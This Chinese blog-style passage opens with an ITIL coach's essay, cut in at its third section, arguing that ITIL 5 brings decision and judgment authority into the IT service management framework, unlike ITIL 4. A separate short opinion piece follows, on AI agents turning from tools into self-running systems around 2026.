    ITIL 4 的核心使命,依然是帮助组织把 IT 服务“管好”。它的设计前提是:战略和业务方向由更高层给出,而 IT 管理体系的责任,是把这些方向转化为稳定、可交付、可衡量、可持续改进的服务能力。

    在这种前提下,判断方向是否正确,并不属于 ITIL 4 要承担的核心职责。它更关注的是,当方向已经确定之后,组织如何避免内耗、减少浪费、提升协作效率,并持续优化交付结果。

    因此,你会在 ITIL 4 中看到一种非常典型的能力结构:它极其擅长解决执行层面的复杂性,却刻意回避了对方向本身的判断。这并不是因为它“讲不明白”,而是因为它当初选择不去承担这部分责任。

    只不过,现实环境正在发生变化,这种分工开始显得越来越勉强。

    3.数字化环境下,判断不再是一次性的前置条件

    在传统 IT 服务管理语境中,方向往往相对稳定。系统上线后可以运行多年,服务模式变化缓慢,管理的重点自然放在如何保障稳定性和效率上。但在数字化产品和平台型服务中,这种稳定性正在快速消失。

    产品是否继续存在,往往不是一个阶段性决策,而是需要持续评估的结果;价值假设可能在数月内发生变化;自动化和 AI 的引入,也让技术决策直接影响长期后果。在这样的环境中,如果判断权仍然被假定发生在体系之外,问题就会不断积累。

    你会看到一些非常典型的现象:明明已经不再产生实际价值的产品,却因为流程完整、指标达标而持续投入;自动化范围不断扩大,但一旦出现负面影响,却没人能够明确承担责任;体验持续恶化,却被 SLA 和效率指标掩盖。

    这些问题,并不是流程设计不够细致,而是判断机制本身缺位。

    4.ITIL 第5版,把判断正式拉回管理框架内部

    正是在这样的背景下,ITIL 第5版 的态度发生了一个非常清晰的转变。它不再回避判断问题,而是明确承认:在高度数字化和不确定的环境中,管理本身就必须包含持续判断的能力。

    你会发现,ITIL 第5版 开始系统性地讨论一些过去被视为“外部前提”的问题,比如价值假设是否仍然成立,产品和服务是否需要继续演进,自动化和 AI 的决策边界在哪里,以及长期结果究竟由谁来承担责任。

    这些内容不再被放在战略文件或业务讨论中,而是被正式写进管理框架。这意味着,ITIL 正式承认,在现实世界中,判断不可能只发生在最顶层,也不可能只发生一次。

    判断开始被视为一种需要被设计、被分配、被治理的能力。

    5.那条暗线的名字,其实就是“判断权”的重新分配

    如果一定要给 ITIL 第5版 补上的这条逻辑线起一个名字,那么“判断权”是一个非常贴切的概括。

    在 ITIL 4 中,判断权往往被假定在体系之外:战略部门判断方向,业务部门判断价值,IT 负责执行和优化。而在 ITIL 第5版 中,判断权开始被重新分配到不同层级,并贯穿整个生命周期。

    产品团队需要判断是否继续投入,管理层需要判断自动化的边界,组织层面需要判断效率与体验的取舍。这些判断不再是一次性的,而是持续发生的管理行为。

    这也解释了为什么 ITIL 第5版 看起来更“重”。它变重的不是流程数量,而是对判断、责任和治理的要求。

    6.把这条暗线讲清之后,很多复杂感受反而会消失

    当你意识到 ITIL 第5版 的核心变化在于判断权的回归,很多看似突然变复杂的内容,其实都会变得更容易理解。

    为什么要强调 Discover?因为判断必须发生在行动之前。为什么要强调体验?因为体验是检验价值假设是否成立的重要信号。为什么反复讨论治理和责任?

    因为一旦判断被技术放大,就必须有清晰的责任归属。这些并不是零散增加的概念,而是一条被系统性拉直的逻辑线。

    图片

    写在最后:ITIL 第5版 更“重”,是时代的必然选择

    有人会说,ITIL 第5版 让管理变得更复杂了。这种感受并不错误,但需要澄清的是:复杂的不是框架,而是现实本身已经不允许继续用纯粹执行导向的思维去管理数字化系统。

    ITIL 4 把这条判断逻辑留给组织自行摸索,而 ITIL 第5版 选择把它写清楚、讲明白。因为在一个由人、系统和 AI 共同参与决策的世界里,管理已经不能只停留在“把事情做好”。

    而这,正是 ITIL 第5版 真正进入体系深水区的起点。

    我是AI+ITIL教练长河achotsao,欢迎与我深入、持续交流,有问必回。

    过去几年,AI 更多是“工具”:

    写文案、做图、生成代码、回答问题。

    但进入 2026 年,一个明显变化正在发生:
    AI 开始从“被使用的工具”,变成“主动运行的系统”。

    这背后的关键不是模型升级,而是 AI 智能体(Agent)开始进入工作流程


    智能体和普通 AI 最大的区别在于三点:

    • 有明确目标
    • 能自动拆解任务
    • 能持续执行并根据结果调整行为

    这意味着 AI 不再只回答问题,而是可以:

    • 自动跑流程
    • 自动查数据
    • 自动生成内容
    • 自动更新系统
    • 自动复盘结果

    AI 开始“做事”,而不是“回答”。


    内容创作不再是“人写完就结束”,而是变成完整流程:

    选题 → 生成 → 发布 → 复盘 → 优化
    都可以由智能体持续运行。

    人类更多负责判断方向,而不是重复劳动。


    生产排程、异常检测、库存预测正在被智能体接管。
    系统可以全天候运行,持续优化。

    经验正在被算法替代,决策周期大幅缩短。


    审批、汇报、统计、监控等工作,开始被自动化代理接管。
    管理的重心从“管人”,变成“管系统”。


    2026 年开始,个人的能力上限被系统放大:

    • 一个创作者拥有内容智能体
    • 一个创业者拥有运营智能体
    • 一个开发者拥有测试与运维智能体

    人与人的差距,开始取决于系统,而不是时间投入。


    真正的变化在于三点:

    • 工作从操作型,转为决策型
    • 组织从层级型,转为系统型
    • 生产从人工驱动,转为自动优化

    AI 元年并不意味着失业潮,而意味着生产关系重排


    从 2026 年开始,人和企业会明显分成两类:

    • 拥有智能体系统的一方,效率指数级提升
    • 仍停留在工具使用阶段的一方,逐渐被边缘化

    关键不在于会不会用 AI,而在于:

    是否把 AI 变成了自己的系统。

    当智能体开始长期运行,
    当流程开始自动完成,
    当系统能自己优化,

    AI 才真正改变了世界。

    2026 年,不是技术爆发的一年,
    而是规则悄然改变的一年。